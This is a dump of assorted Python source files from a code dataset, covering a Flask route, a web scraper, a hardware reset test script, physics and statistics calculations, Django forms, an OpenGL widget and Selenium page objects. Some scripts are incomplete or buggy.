innecesario\n fav = FavoritesPlanets.query.get(id)\n if fav is None:\n raise APIException('Identifier for FavoritesPlanets is not found', status_code=404)\n else:\n db.session.delete(fav)\n db.session.commit()\n\n # retornamos nuevamente la lista de favoritos actualizada\n all_fav_planet = FavoritesPlanets.query.all()\n all_fav_planets = list(map(lambda x: x.serialize(), all_fav_planet))\n\n return jsonify(all_fav_planets), 200\n","sub_path":"src/api/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":11719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"312263143","text":"from bs4 import BeautifulSoup\nimport requests\nimport pandas as pd\nfrom io import BytesIO\nimport urllib.parse\nimport requests\nimport math\n\n\nclass WebScrap:\n\n def __init__(self):\n self.url = \"https://www.cftc.gov/MarketReports/financialfcmdata/index.htm\"\n \n \n\n def WebScrapFunction(self,current_excel_month):\n\n try:\n \n year=current_excel_month.split(\" \")[1]\n \n \n \n url_response = requests.get(self.url)\n soup = BeautifulSoup(url_response.content)\n lst_of_url=[]\n\n # selects all tables\n for table in soup.find_all(\"table\"):\n # selects all tables containing the specified year\n if table.find_all(text=year) != []:\n # selects all a tags with the url containing \".xlsx\"\n lst_of_url= table.select(\"a[href*='.xlsx']\")\n\n\n # select the first xlsx sheet url \n # first_row=lst_of_url[1]\n for raw_href in lst_of_url:\n if current_excel_month.split(\" \")[0] in raw_href[\"href\"]:\n current_excel_href=raw_href[\"href\"]\n\n \n\n return current_excel_href\n\n except Exception as e:\n print(str(e))\n raise\n","sub_path":"Scrap.py","file_name":"Scrap.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"280807724","text":"lst=[2,6,4,9,7,1,3,10,5]\nlst=sorted(lst)\nprint(lst)\ncnt=len(lst)\nlower=0\nupper=cnt\nprint(lower)\nprint(upper)\nmid=(lower+upper)//2\nprint(mid)\nnumber=int(input(\"enter value\"))\nflg=0\n\nwhile(lower<=upper):\n if(number>lst[mid]):\n lower=mid+1\n print(\"new lower=\",lower)\n elif(number(len(lst)-1)):\n break\n\nif(flg==0):\n print(\"number not found \")\nelse:\n print(\"number found\")\n\n\n\n","sub_path":"pythoncollection/searchelminbinaryform.py","file_name":"searchelminbinaryform.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"544510341","text":"#!/usr/bin/python\n\n'''\n\tAuthors: Anubhav Acharya, Ramie Katan\n\tDate created: 06/10/2021\n\tDate last modified: 06/25/2021\n\tPython Version: 3.9.5\n'''\n\n#STL imports\nimport sys, os, io, time\nfrom difflib import ndiff\nimport csv\n\n#custom imports\nfrom connmanCustom import Connection\n\nFailed = False\npsuPort = 0\n\n#OS Login Credentials\nuname = \"root\"\t\t\t#the user to login as\npwrd = \"silicom123\"\t\t#the password for the user account\n#I hate pfsense\npfsense = False\n#If the machine needs sudo, put set as True, else set it as false\nneedSudo = False\n#How long to wait for the device to boot\nlimit=90\n#What string does the OS show when it has finished booting up and is waiting for user login\nloginPrompt = \"fc26-min login: \"\n#What commands to run after the device has booted succesfully?\ncommands = [\"i2cget -y 1 0x74 0 b\", \"i2cget -y 0 0x74 0 b\"]\n#The expected results after running the commands\nrslt = [\n\t\t'0xf8',\n\t\t'0xf8'\n\t\t]\n\n#PSU Ports the device is connected to\nPSUPorts = [1,2]\n\n#At this point, the script has been setup for usage through command line.\n#Good luck.\n\n\nfileName = \"result.csv\"\n\n\ncheck = dict()\nfor i in range(0, len(commands), 1):\n\tcheck[commands[i]] = rslt[i]\n\n#The variables below this line are set using the command line arguments.\n#No need to set them here\nreps = int()\n\ndef help():\n\tprint(\"\\n\\nThe script can be used as follows:\")\n\tprint(\"\\n\\t\",sys.argv[0], \" \")\n\tprint(\"\\n\\tDEVICE:- COMX for windows, /dev/usbX for linux; replace the 'X' with relevant number\")\n\tprint(\"\\tBAUDRATE:- A number representing the rate of communication.\")\n\tprint(\"\\tREPETITIONS:- Number of times to run the tests for\\n\\n\")\n\tprint(\"There are parameters that need to be edited before the script is run. Edit the file before use.\")\n\treturn\n\n\ndef login(ser):\n\tif not pfsense:\n\t\tser.write(bytes(uname+\"\\r\", encoding='ascii'))\n\t\ttime.sleep(1)\n\t\tser.write(bytes(pwrd+\"\\r\", encoding='ascii'))\n\t\ttime.sleep(1)\n\telse:\n\t\tser.write(bytes(\"8\\r\", encoding='ascii'))\n\t\ttime.sleep(2)\n\t\treadBuffer(ser)\n\ndef setup():\n\t#this will make sure that the booting device\n\t#reaches the login prompt\n\tpass\ndef toLogin():\n\tfailed = False\n\tread = \"\"\n\twhile read != loginPrompt:\n\t\tread = conS.readline()\n\n\t\tif (time.time()-start) > limit:\n\t\t\tprint(\"The device has failed to boot within\", limit, \"seconds. Boot number:\", i+1)\n\t\t\tprint(\"Please mannually check if there is something wrong with the device.\")\n\t\t\tprint(\"The device output until this point has bee logged and is saved in the file\", fileName, \".\")\n\t\t\tlogFile.write(log)\n\t\t\tprint(\"\\n\\n\\n------Test incomplete------\\n\\n\\n\")\n\t\t\tfor p in PSUPorts:\n\t\t\t\tconT.powerOffPort(p)\n\t\t\tfailed = True\n\t\t\tbreak\n\treturn failed\n\n\ndef reboot():\n\tif needSudo:\n\t\tconS.send(\"sudo reboot\")\n\t\ttime.sleep(1)\n\t\tconS.send(pwrd)\n\telse:\n\t\tconS.send(\"reboot\")\n\ndef poweroff():\n\tif needSudo:\n\t\tconS.send(\"sudo poweroff\")\n\t\ttime.sleep(1)\n\t\tconS.send(pwrd)\n\telse:\n\t\tconS.send(\"poweroff\")\n\ndef loop1():\n\tfor i in range(0, reps, 1):\n\t\tprint(\"loop1: Test\", i+1, \"starting now...\")\n\t\tprint(\"Waiting for the device to boot up...\")\n\t\tstart = time.time()\n\t\ttoLogin()\n\n\t\tif failed:\n\t\t\tfailed = False\n\t\t\t#continue\n\t\t\tbreak\n\n\t\tend = time.time()\n\n\t\tprint(\"Device took\", (end-start), \"seconds to boot up.\")\n\t\tprint(\"Running the test commands now\")\n\t\tlogin(ser)\n\t\treadBuffer(ser)\n\t\tfor cmd in commands:\n\t\t\tif (cmd == \"lsblk\" or cmd == \"dmidecode -t 0,1,2,3\") and needSudo:\n\t\t\t\tser.write(bytes(\"sudo \"+cmd+\"\\r\", encoding='ascii'))\n\t\t\t\ttime.sleep(1)\n\t\t\t\tser.write(bytes(pwrd+\"\\r\", encoding='ascii'))\n\t\t\telse:\n\t\t\t\tser.write(bytes(cmd+\"\\r\", encoding='ascii'))\n\t\t\ttime.sleep(1)\n\t\t\trslt = readBuffer(ser)\n\t\t\tsame = True\n\t\t\tif rslt != check[cmd] and cmd != \"free\":\n\t\t\t\tdiff = [li for li in ndiff(rslt,check[cmd]) if li[0] != ' ']\n\t\t\t\tfor d in diff:\n\t\t\t\t\tif d != '- ' or d != '+ ' or d != '+\\n' or d != '-\\n' or d != '+\\r' or d != '-\\r':\n\t\t\t\t\t\tprint(cmd+\" return not as expected. Please advise.\")\n\t\t\t\t\t\tprint(\"Expected:\", check[cmd])\n\t\t\t\t\t\tprint(\"Returned:\", rslt)\n\t\t\t\t\t\tlog+=(\"\\n\"+cmd+\" return not as expected. Please advise.\\n\")\n\t\t\t\t\t\tsame = False\n\t\t\t\t\t\tbreak\n\t\t\tif same:\n\t\t\t\tprint(cmd+\" return as expected.\")\n\t\t\t\tlog+=(\"\\n\"+cmd+\" return as expected.\\n\")\n\t\t\t\tsame = False\n\t\t\tlog += rslt\n\n\t\tlog+=readBuffer(ser)\n\n\t\tprint(\"The required commands were run. Shutting down the machine now.\")\n\t\tpoweroff(ser)\n\n\t\t#cycle the power in both ports here\n\t\tpowerOffPort(PSUPorts[0])\n\t\tpowerOffPort(PSUPorts[1])\n\t\tsleep(10)\n\t\tpowerOnPort(PSUPorts[0])\n\t\tpowerOnPort(PSUPorts[1])\n\n\t\tlog+=(\"\\n\\n\\ntest \" + str(i+1) + \" complete\\n\\n\\n\")\n\n\t\tprint(log,file=logFile)\n\n\t\tlog = \"\"\n\n\t\tif not i+2 > reps:\n\t\t\tprint(\"Test\", i+1, \"completed. Moving on to test\",i+2,\"\\n\")\n\t\telse:\n\t\t\tprint(\"Test\", i+1, \"completed.\")\n\ndef loop2():\n\tpass\n\ndef loop3():\n\tpass\n\ndef lpop4():\n\tpass\n\ndef loop5():\n\tpass\n\ndef loop6():\n\tpass\n\ndef loop7():\n\tpass\n\ndef loop8():\n\tpass\n\ndef loop9():\n\tpass\n\ndef loop10():\n\tpass\n\ndef main():\n\tfailed = False\n\tlogFile = open(fileName, \"w\", newline=\"\")\n\twriter = csv.writer(logFile)\n\tlog = list()\n\tif len(PSUPorts) == 0:\n\t\tprint(\"Please enter the ports the device is connected to before running the script.\")\n\t\tprint(\"Exiting now...\")\n\t\treturn\n\ttry:\n\t\tser = s.Serial(sys.argv[1], int(sys.argv[2]), timeout=1)\n\t\tprint(\"The serial port was opened succesfully. Running the test\", sys.argv[3],\"times now...\")\n\texcept ValueError:\n\t\tprint(\"The baudrate can only be a pure number.\")\n\t\treturn\n\ttry:\n\t\treps = int(sys.argv[3])\n\texcept ValueError:\n\t\tprint(\"Number of repetions can only be a number.\")\n\t\treturn\n\n\tfor p in PSUPorts:\n\t\tif p < 1 or psuPort > 8:\n\t\t\tprint(\"The PSU port the device is connected to was out of bounds.\")\n\t\t\tprint(\"Please enter the proper port number between 1 and 8\")\n\t\t\treturn\n\n\tprint(\"\\nInitializing Telent connection with the PSU....\")\n\tglobal conT\n\tconT = TConnection()\n\tprint(\"Done\")\n\tprint(\"\\nInitializing Serial connection with the device....\")\n\tglobal conS\n\tconS = SConnection()\n\tprint(\"Done\")\n\n\tprint(\"\\nRebooting the machine now.\")\n\treboot()\n\n\tprint(\"\\n\")\n\tprint(\"The series of tests will begin now. Good luck!!\\n\")\n\n\tprint(\"Loop 1 initiating now\")\n\tlog.append(loop1(reps, psuPort))\n\tprint(\"Loop 1 complete. Moving on to Loop 2...\")\n\tlog.append(loop2(reps, psuPort))\n\tprint(\"Loop 2 complete. Moving on to Loop 3...\")\n\tlog.append(loop3(reps, psuPort))\n\tprint(\"Loop 3 complete. Moving on to Loop 4...\")\n\tlog.append(loop4(reps, psuPort))\n\tprint(\"Loop 4 complete. Moving on to Loop 5...\")\n\tlog.append(loop5(reps, psuPort))\n\tprint(\"Loop 5 complete. Moving on to Loop 6...\")\n\tlog.append(loop6(reps, psuPort))\n\tprint(\"Loop 6 complete. Moving on to Loop 7...\")\n\tlog.append(loop7(reps, psuPort))\n\tprint(\"Loop 7 complete. Moving on to Loop 8...\")\n\tlog.append(loop8(reps, psuPort))\n\tprint(\"Loop 8 complete. Moving on to Loop 9...\")\n\tlog.append(loop9(reps, psuPort))\n\tprint(\"Loop 9 complete. Moving on to Loop 10...\")\n\tlog.append(loop10(reps, psuPort))\n\tprint(\"Loop 10 complete.\")\n\n\tzip(log)\n\n\tcsv.writerows(log)\n\n\tlogFile.close()\n\tprint(\"\\nAll tests completed. The log is available as\", fileName, \"in the same directory as the script.\")\n\tser.close()\n\ndef debug():\n\tprint(\"Not implemented yet. An interactive function for more granular control. Maybe....\")\n\treturn\n\nif __name__ == '__main__':\n\tif len(sys.argv) < 2:\n\t\thelp()\n\n\telif sys.argv[1] != \"debug\":\n\t\tmain()\n\n\telse:\n\t\tdebug()\n\t\n","sub_path":"resetTest.py","file_name":"resetTest.py","file_ext":"py","file_size_in_byte":7287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"485934075","text":"import scipy.constants as sc\nimport numpy as np\nfrom math import pi\n\n\nLasernm = 632.8E-9\nLaserPwr = .001\n\n\n\ndef FindWavenumber(Lambda):\n wavnum= ((((sc.h * sc.c)/Lambda)/(1.60218E-19))*8065.54)\n return wavnum\n\n\ndef RI(A, B, C, wavnum):\n NV = ((A + (B/(C - wavnum**2.0)))/(10E8)) + 1.0\n return NV\n\n\ndef Sigma(N, nv, Fk, wavnum):\n sigma = ((24 * (pi**3) * (wavnum**4))/N**2) * ((((nv**2) - 1)/((nv**2) + 2))**2) * Fk\n return sigma\n\n\nRI_He = [2283, 1.8102E13, 1.5342E10]\nHe_Fk = 1\nRI_O2 = [20564.8, 2.480899E13, 4.09E9]\nO2_Fk = 1.09 + (1.385E-11 * FindWavenumber(Lasernm)**2) + (1.448E-20 * FindWavenumber(Lasernm)**2)\n#RI_CO2 = ()\n#CO2_Fk =\n\nif FindWavenumber(Lasernm) < 21360:\n RI_N2 = [6498.2, 307.4335E13, 14.4E9]\n N2_Fk = (1.034 + 3.17E-12 * FindWavenumber(Lasernm))\nelse:\n RI_N2 = [5677.465, 318.81874E12, 14.4E9]\n N2_Fk = (1.034 + 3.17E-12 * FindWavenumber(Lasernm))\n\n#Quick Calculation\n#Correct refractive index for N2 is 1.00023 for some reason we have 1.00223, so this needs to change\nwavenumb = FindWavenumber(Lasernm)\nN2_Ref_Ind = RI(RI_N2[0], RI_N2[1], RI_N2[2], wavenumb)\nN2_Sigma = Sigma(2.546899E19, N2_Ref_Ind, N2_Fk, wavenumb)\nMike_Sigma = 1.2577E-15 * 632.8**-4.1814\n\n#Check to see if cross sections make sense by calculating the extinction in Mm^-1\nMike_Sigma*2.546899E19*1E8\nN2_Sigma*2.546899E19*1E8\n\n#Calculate attenuation with simple beers law type equation\nSpotSizecm = 0.5\nNephCellLengthcm = 47 * 2.54\nBeamVolume = pi * ((SpotSizecm/2)**2) * (NephCellLengthcm * 2)\nN_Gas = 2.546899E19 * BeamVolume\nNa = 6.022E23\nN2_Epsilon = (Na/np.log(10)) * N2_Sigma\nN2_Attenuation = np.exp(-1.0*(N2_Epsilon * (N_Gas/6.022E23) * (NephCellLengthcm * 2)))\nN2_Percent_Attenuation = 100 - (N2_Attenuation * 100)\nN2_Percent_Attenuation\n\n\n\n\n\n","sub_path":"polar_nepheplometer_scripts/rayleigh_scattering_scripts/Rayleigh Scattering.py","file_name":"Rayleigh Scattering.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"291593895","text":"from django import forms\nfrom .models import Comment, Category, Post\n\n\nclass NewCommentForm(forms.ModelForm):\n class Meta:\n model = Comment\n fields = ('name', 'email', 'content')\n widgets = {\n 'name': forms.TextInput(attrs={'class': 'col-sm-12'}),\n 'email': forms.TextInput(attrs={'class': 'col-sm-12'}),\n 'content': forms.Textarea(attrs={'class': 'form-control'}),\n }\n\n\n# defing the list\nchoices = Category.objects.all().values_list('name', 'name')\n\nchoice_list = []\n\nfor item in choices:\n choice_list.append(item)\n\n\n# for status\n\nchoice = [('Draft', 'Draft'), ('Published', 'Published')]\n\n\nclass BookForm(forms.ModelForm):\n class Meta:\n model = Post\n fields = ('title', 'excerpt', 'slug', 'publish', 'category', 'author', 'book_author', 'cover', 'pdf', 'content', 'status')\n\n widgets = {\n 'category': forms.Select(choices=choice_list, attrs={'class': 'form-control'}),\n 'status': forms.Select(choices=choice, attrs={'class': 'form-control'}),\n }\n","sub_path":"blog/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"363081157","text":"from PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import QOpenGLWidget\n\nimport glm\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import *\n\nfrom config import GRID\n\nfrom dilbo import CameraCoordinateTransform\n\nclass DensityCircleWidget(QOpenGLWidget):\n def __init__(self, parent=None):\n QOpenGLWidget.__init__(self, parent)\n self.setAttribute(Qt.WA_AlwaysStackOnTop, True)\n\n self.selectedGridIndex = None\n self.cameraTransform = None\n\n def initializeGL(self) -> None:\n glClearColor(0, 0, 0, 0)\n glDisable(GL_DEPTH_TEST)\n\n def paintGL(self) -> None:\n if None in [self.selectedGridIndex, self.cameraTransform]:\n # Initial state not yet known\n return\n\n glClear(GL_COLOR_BUFFER_BIT)\n glColor(1, 0, 0, 0.5)\n\n self._zoomToSelectedCell()\n self._pitchCameraDown()\n\n self._translateToCellGroundIntersection()\n self._paintGroundCircleWithRadius(4)\n\n def _translateToCellGroundIntersection(self):\n glTranslate(*self.cameraTransform.getCameraRelativeGroundPositionOfGridCellCenter(GRID, self.selectedGridIndex))\n\n def _zoomToSelectedCell(self):\n gridX, gridY = GRID.gridIndexToXYIndices(self.selectedGridIndex)\n\n gridOffsetX = -gridX * self.width()\n gridOffsetY = (-2 + gridY) * self.height()\n\n fullImageWidth = self.width() * GRID.numCellsPerRow\n fullImageHeight = self.height() * GRID.numCellsPerRow\n\n glViewport(gridOffsetX, gridOffsetY, fullImageWidth, fullImageHeight)\n\n def _pitchCameraDown(self):\n glMatrixMode(GL_MODELVIEW)\n _loadGlmMatrix(self.cameraTransform.cameraPitchViewMatrix)\n\n def _paintGroundCircleWithRadius(self, radius):\n glPushMatrix()\n glRotate(-90, 1, 0, 0)\n\n quadric = gluNewQuadric()\n gluDisk(quadric, radius - 0.1, radius, 100, 1)\n gluDeleteQuadric(quadric)\n\n glPopMatrix()\n\n def setState(self, state):\n self.selectedGridIndex = state.gridIndex\n\n self.cameraTransform = CameraCoordinateTransform(state.startpointElevation, state.image.coordinates,\n state.image.exifData)\n glMatrixMode(GL_PROJECTION)\n _loadGlmMatrix(self.cameraTransform.perspectiveProjectionMatrix)\n\n self.update()\n\ndef _loadGlmMatrix(glmMatrix: glm.mat4):\n glMatrix = (GLfloat * 16)()\n\n for i in range(0, len(glMatrix)):\n glMatrix[i] = glmMatrix[int(i / 4)][int(i % 4)]\n\n glLoadMatrixf(glMatrix)\n","sub_path":"annotator/DensityCircleWidget.py","file_name":"DensityCircleWidget.py","file_ext":"py","file_size_in_byte":2346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"571795265","text":"# -*- coding: utf-8 -*-\n# @Department: 测试\n# @Author: 杨凤娇\n# @Description: 医院 =》项目学分核销审核\nfrom test.pages.public_pages.score_check_base import ScoreCheckBase\nfrom selenium.webdriver.common.by import By\nfrom time import sleep\n\n\nclass ScoreCheck(ScoreCheckBase):\n frameName = \"centerIframeScoreCheck\"\n\n # 首页\n menu1 = (By.XPATH, \"//ul[@id='menuGov']/li[3]\") # 审核科室项目\n menu2 = (By.XPATH, '//*[@id=\"menu1\"]/ul/li[3]/a') # 项目学分核销审核\n\n def menu1_loc(self):\n self.find_element(*self.menu1).click()\n\n def menu2_loc(self):\n self.find_element(*self.menu2).click()\n\n # 首页\n def index(self):\n self.menu1_loc() # 审核科室项目\n sleep(1)\n self.menu2_loc() # 项目学分核销审核\n sleep(1)\n self.frame(self.frameName)\n\n # 查看审核通过\n def pro_checked(self, proName, proNo, year, select1, select2, select3):\n self.linkChecked_loc()\n sleep(1)\n self.select1(proName, proNo, year, select1, select2, select3)\n self.btnView_loc()\n sleep(1)\n self.back()\n return self.txtProName_loc()\n\n # 查看返回修改\n def pro_update(self, proName, proNo, year, select1, select2, select3):\n self.linkUpdate_loc()\n sleep(1)\n self.select1(proName, proNo, year, select1, select2, select3)\n self.btnView_loc()\n sleep(1)\n self.back()\n return self.txtProName_loc()\n\n # 查看审核不通过\n def pro_checkNo(self, proName, proNo, year, select1, select2, select3):\n self.linkCheckNo_loc()\n sleep(1)\n self.select1(proName, proNo, year, select1, select2, select3)\n self.btnView_loc()\n sleep(1)\n self.back()\n return self.txtProName_loc()\n","sub_path":"test/pages/hospital_pages/score_check.py","file_name":"score_check.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"456435391","text":"##################################################################################\n##################################################################################\n## Implementation of BOLT-LMM \n##################################################################################\n##################################################################################\nimport scipy as sp \nfrom scipy import stats\nimport numpy as np\nimport h5py\nimport random\nimport math\nimport sys\nimport time\n\n##################################################################################\n##################################################################################\n## Functions used \n##################################################################################\n##################################################################################\n\n##---------------------------------------------------------\n## Conjugate gradient iteration (in chunks)\n##---------------------------------------------------------\n## Name: conjugateGradientSolveChunks\n## Purpose: Solving an equation of the form\n## Ax=b\n## \t\t\t(where A is of the form XX'/M + d*I)\n## by the aid of conjugate gradient iteration.\n##\t\t\tDue to the composition of A, we have that\n## \t\t\tAx= (XX'/M + d*I)x= (1/M)*XX'x + d*x.\n## Input: \n## hf = The open hdf5-file that \n## \t\tcontains the normalized genotype matrix X\n## \t\t(NxM-matrix)\n## b = N-vector\n## x0 = N-vector, the initial value of x\n## c1,c2 = real scalars (by default c1,c2=1)\n## chunk_size = the size of the chunks that should be \n## \t\t\t\tused (default = 3000)\n## Output:\n## x\n##---------------------------------------------------------\n\ndef conjugateGradientSolveChunks(hf,x0,b,c1=1,c2=1,chunk_size=3000):\n\n\t(N,M)= hf['X'].shape\n\tx = x0\n\tXTx = sp.zeros(M, dtype=\"single\")\n\tXXTx = sp.empty(N, dtype = \"single\")\n\n\tfor chunk in range(0,N,chunk_size):\n\t\tprint(\"Chunk:\", chunk)\n\t\tX_chunk = sp.array(hf['X'][chunk:chunk+chunk_size], dtype=\"single\")\n\t\tprint(\"X_chunk.shape:\", X_chunk.shape)\n\t\tXTx += sp.dot(X_chunk.T,x[chunk:chunk+chunk_size])\n\n\tfor chunk in range(0,N,chunk_size):\n\t\tprint(\"Chunk:\", chunk)\n\t\tX_chunk = sp.array(hf['X'][chunk:chunk+chunk_size], dtype=\"single\")\n\t\tprint(\"X_chunk.shape:\", X_chunk.shape)\n\t\tXXTx[chunk:chunk+X_chunk.shape[0]] = sp.dot(X_chunk,XTx)\n\n\tr = b-(XXTx*float(c1)/float(M) + float(c2)*x)\n\tp=r\n\trsold = sp.dot(r,r)\n\tnorm = sp.sqrt(rsold)\n\n\twhile norm>0.0005:\n\n\t\tXTx = sp.zeros(M, dtype=\"single\")\n\t\tXXTx = sp.empty(N, dtype = \"single\")\n\t\tfor chunk in range(0,N,chunk_size):\n\t\t\tprint(\"Chunk:\", chunk)\n\t\t\tX_chunk = sp.array(hf['X'][chunk:chunk+chunk_size], dtype=\"single\")\n\t\t\tprint(\"X_chunk.shape:\", X_chunk.shape)\n\t\t\tXTx += sp.dot(X_chunk.T,p[chunk:chunk+chunk_size])\n\n\t\tfor chunk in range(0,N,chunk_size):\n\t\t\tprint(\"Chunk:\", chunk)\n\t\t\tX_chunk = sp.array(hf['X'][chunk:chunk+chunk_size], dtype=\"single\")\n\t\t\tprint(\"X_chunk.shape:\", X_chunk.shape)\n\t\t\tXXTx[chunk:chunk+X_chunk.shape[0]] = sp.dot(X_chunk,XTx)\n\n\t\tAp = XXTx*float(c1)/float(M) + float(c2)*p\n\t\t## alpha = step size\n \t## alpha = t(r_{k-1})*r_{k-1}/(t(p_k)*A*p_k)\n\t\talpha = rsold/(sp.dot(p,Ap))\n\t\t## x_k = x_{k-1} + alpha*p_k\n\t\tx = x+alpha*p\n\t\t## r_k = r_{k-1}-alpha*A*p_k\n\t\tr = r-alpha*Ap\n\t\trsnew = sp.dot(r,r)\n\t\t## beta = t(r_{k-1})*r_{k-1}/(t(r_{k-2})*r_{k-2})\n\t\t## p = search direction\n\t\t## p_k = r_{k-1} + beta*p_{k-1}\n\t\tp = r+(rsnew/rsold)*p\n\t\tnorm = sp.sqrt(rsnew)\n\t\trsold = rsnew\n\treturn(x)\n\n\n##---------------------------------------------------------\n## Compute f_{REML}(log(delta)) \n##---------------------------------------------------------\n## Name: evalfREML\n## Purpose: Compute f_{REML}(log(delta)), where\n## f_{REML}(log(delta)) = log((sum(beta.hat_data^2)/\n## sum(e.hat_data^2))/(E[sum(hat.beta^2)]/E[sum(\n## e.hat_data^2)]))\n## Input: \n## logDelta = log(delta) = log(sigma.e^2/sigma.g^2) \n## MCtrials = Number of Monte Carlo simulations\n## hf = The open hdf5-file that \n## \t\tincludes the normalized genotype matrix X\n## \t\t(NxM-matrix)\n## Y = phenotype vector, N-vector\n## beta_rand = random SNP effects\n## e_rand_unscaled = random environmental effects\n## chunk_size = the size of the chunks that should be \n## \t\t\t\tused (default = 3000)\n## Output:\n## The evaluated function, f_{REML}\n##---------------------------------------------------------\n\ndef evalfREML(logDelta,MCtrials,hf,Y,beta_rand,e_rand_unscaled, chunk_size=3000):\n\n\t(N,M)= hf['X'].shape\n\tdelta = sp.exp(logDelta, dtype= \"single\")\n\ty_rand = sp.empty((N,MCtrials), dtype= \"single\")\n\tH_inv_y_rand = sp.empty((N,MCtrials), dtype= \"single\")\n\tbeta_hat_rand = sp.zeros((M,MCtrials), dtype= \"single\")\n\te_hat_rand = sp.empty((N,MCtrials), dtype= \"single\")\n\n\t## Defining the initial vector x0\n\tx0 = sp.zeros(N, dtype= \"single\")\n\tfor t in range(0,MCtrials):\n\n\t\tXbeta = sp.empty(N, dtype = \"single\")\n\t\t## build random phenotypes using pre-generated components\n\t\tfor chunk in range(0,N,chunk_size):\n\t\t\tX_chunk = sp.array(hf['X'][chunk:chunk+chunk_size], dtype=\"single\")\n\t\t\tXbeta[chunk:chunk+X_chunk.shape[0]]= sp.dot(X_chunk, beta_rand[:,t])\n\n\t\tprint(\"First chunk\") #############################################################\n\t\ty_rand[:,t] = Xbeta+sp.sqrt(delta)*e_rand_unscaled[:,t]\n\t\t## compute H^(-1)%*%y.rand[,t] by the aid of conjugate gradient iteration\n\t\tH_inv_y_rand[:,t] = conjugateGradientSolveChunks(hf=hf,x0=x0,b=y_rand[:,t],c2=delta, chunk_size=chunk_size)\n\t\t## compute BLUP estimated SNP effect sizes and residuals\n\t\tfor chunk in range(0,N,chunk_size):\n\t\t\tX_chunk = sp.array(hf['X'][chunk:chunk+chunk_size], dtype=\"single\")\n\t\t\tbeta_hat_rand[:,t] += sp.dot(X_chunk.T,H_inv_y_rand[chunk:chunk+chunk_size,t])\n\n\t\te_hat_rand[:,t] = H_inv_y_rand[:,t]\n\t\tprint(\"In evalfREML: Iteration %d has been completed...\" % t)\n\n\t## compute BLUP estimated SNP effect sizes and residuals for real phenotypes\n\te_hat_data = conjugateGradientSolveChunks(hf=hf,x0=x0,b=Y,c2=delta, chunk_size=chunk_size)\n\tbeta_hat_data = sp.zeros(M,dtype=\"single\")\n\tfor chunk in range(0,N,chunk_size):\n\t\t\tX_chunk = sp.array(hf['X'][chunk:chunk+chunk_size], dtype=\"single\")\n\t\t\tbeta_hat_data += sp.dot(X_chunk.T,e_hat_data[chunk:chunk+chunk_size])\n\t\n\t## evaluate f_REML\n\tf = sp.log((sp.sum(beta_hat_data**2)/sp.sum(e_hat_data**2))/(sp.sum(beta_hat_rand**2)/sp.sum(e_hat_rand**2)))\n\treturn(f)\n\n\n##################################################################################\n##################################################################################\n## Importing phenotypes and the vector specifying the chromosome for each snp\n##################################################################################\n##################################################################################\n\nstart_time = time.time()\nprint(\"Importing phenotypes and chromosomes...\")\n\n## Open the file once:\nhf = h5py.File(\"Normalized_data.h5\", \"r\")\n## Importing phenotypes\nY= sp.array(hf[\"Y\"], dtype= \"single\")\n## Importing the chromosome number for each SNP\nwith h5py.File(\"New_try.h5\",\"r\") as hf5:\n\tChromosomes = sp.array(hf5[\"Chromosomes\"], dtype= \"single\")\n\n#print(\"Execution time (importing):\", round(time.time()-start_time,2),\"seconds\")\nprint(\"Shape of the array genotypes:\", hf['X'].shape)\nprint(\"Shape of the array phenotypes:\", Y.shape)\nprint(\"Shape of the array Chromosomes:\", Chromosomes.shape)\n\n#(N,M) = h5py.File(\"Normalized_data.h5\", \"r\")['X'].shape\n(N,M) = hf['X'].shape\n\n\n##################################################################################\n##################################################################################\n## Step 1a : Estimate variance parameters\n##################################################################################\n##################################################################################\n\nprint(\"Step 1a : Estimate variance parameters...\")\nstep = time.time()\n\n## Set the number of Monte Carlo trials\nMCtrials = max(min(4e9/(N**2),15),3)\nprint(\"The number of MC trials is\", MCtrials)\n\n## Generate random SNP effects\nbeta_rand = stats.norm.rvs(0,1,size=(M,MCtrials))*sp.sqrt(1.0/float(M))\nbeta_rand = beta_rand.astype(dtype=\"single\")\n## Generate random environmental effects\ne_rand_unscaled = stats.norm.rvs(0,1,size=(N,MCtrials))\ne_rand_unscaled = e_rand_unscaled.astype(dtype=\"single\")\n\nh12 = 0.25\nlogDelta = [sp.log((1-h12)/h12)]\n\n## Perform first fREML evaluation\nprint(\"Performing the first fREML evaluation...\")\nstart_time = time.time()\n\nf = [evalfREML(logDelta=logDelta[0],MCtrials=MCtrials,hf=hf,Y=Y,beta_rand=beta_rand,e_rand_unscaled=e_rand_unscaled)]\nprint(\"Execution time (first fREML):\", round(time.time()-start_time,2),\"seconds\")\n\nif f[0]<0:\n\th22=0.125\nelse:\n\th22=0.5\n\nlogDelta.append(sp.log((1-h22)/h22))\n\n## Perform second fREML evaluation\nprint(\"Performing the second fREML evaluation...\")\nstart_time = time.time()\n\nf.append(evalfREML(logDelta=logDelta[1],MCtrials=MCtrials,hf=hf,Y=Y,beta_rand=beta_rand,e_rand_unscaled=e_rand_unscaled))\nprint(\"Execution time (second fREML):\", round(time.time()-start_time,2),\"seconds\")\n\n## Perform up to 5 steps of secant iteration\nprint(\"Performing up to 5 steps of secant iteration...\")\nfor s in range(2,7):\n\tlogDelta.append((logDelta[s-2]*f[s-1]-logDelta[s-1]*f[s-2])/(f[s-1]-f[s-2]))\n\t## check convergence\n\tif 